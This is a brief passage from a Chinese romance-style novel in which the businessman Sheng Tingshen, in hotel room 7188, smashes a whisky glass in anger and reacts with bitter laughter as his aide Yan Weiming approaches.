在她内心全线崩盘的的时候,7188房间里,盛亭深面色也很不好看。 他面对着落地窗站着,静默许久后,手中握着的威士忌杯子被狠狠砸在了地板上,玻璃四分五裂。 严为明看了一眼,上前:“盛总……” 盛亭深眼中风雨欲来,被气笑了:“他是真敢啊。”